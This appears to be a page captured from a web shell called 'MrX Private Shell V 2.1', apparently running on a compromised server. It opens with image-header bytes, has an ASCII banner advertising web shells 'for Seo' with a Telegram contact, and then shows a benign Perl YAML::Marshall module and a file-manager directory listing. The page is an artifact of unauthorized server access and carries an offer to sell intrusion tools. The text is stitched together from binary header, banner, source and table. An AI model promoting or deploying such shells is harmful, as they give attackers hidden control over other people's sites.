����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
use strict; use warnings;
package YAML::Marshall;
use YAML::Node ();
sub import {
my $class = shift;
no strict 'refs';
my $package = caller;
unless (grep { $_ eq $class} @{$package . '::ISA'}) {
push @{$package . '::ISA'}, $class;
}
my $tag = shift;
if ( $tag ) {
no warnings 'once';
$YAML::TagClass->{$tag} = $package;
${$package . "::YamlTag"} = $tag;
}
}
sub yaml_dump {
my $self = shift;
no strict 'refs';
my $tag = ${ref($self) . "::YamlTag"} || 'perl/' . ref($self);
$self->yaml_node($self, $tag);
}
sub yaml_load {
my ($class, $node) = @_;
if (my $ynode = $class->yaml_ynode($node)) {
$node = $ynode->{NODE};
}
bless $node, $class;
}
sub yaml_node {
shift;
YAML::Node->new(@_);
}
sub yaml_ynode {
shift;
YAML::Node::ynode(@_);
}
1;
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Dumper | Folder | 0755 |
|
|
| Loader | Folder | 0755 |
|
|
| Any.pm | File | 2.6 KB | 0644 |
|
| Any.pod | File | 2.82 KB | 0644 |
|
| Dumper.pm | File | 16.69 KB | 0644 |
|
| Dumper.pod | File | 776 B | 0644 |
|
| Error.pm | File | 5.63 KB | 0644 |
|
| Error.pod | File | 666 B | 0644 |
|
| Loader.pm | File | 26.36 KB | 0644 |
|
| Loader.pod | File | 767 B | 0644 |
|
| Marshall.pm | File | 867 B | 0644 |
|
| Marshall.pod | File | 656 B | 0644 |
|
| Mo.pm | File | 3.24 KB | 0644 |
|
| Node.pm | File | 4.32 KB | 0644 |
|
| Node.pod | File | 2.48 KB | 0644 |
|
| Tag.pm | File | 216 B | 0644 |
|
| Tag.pod | File | 538 B | 0644 |
|
| Types.pm | File | 6.44 KB | 0644 |
|
| Types.pod | File | 738 B | 0644 |
|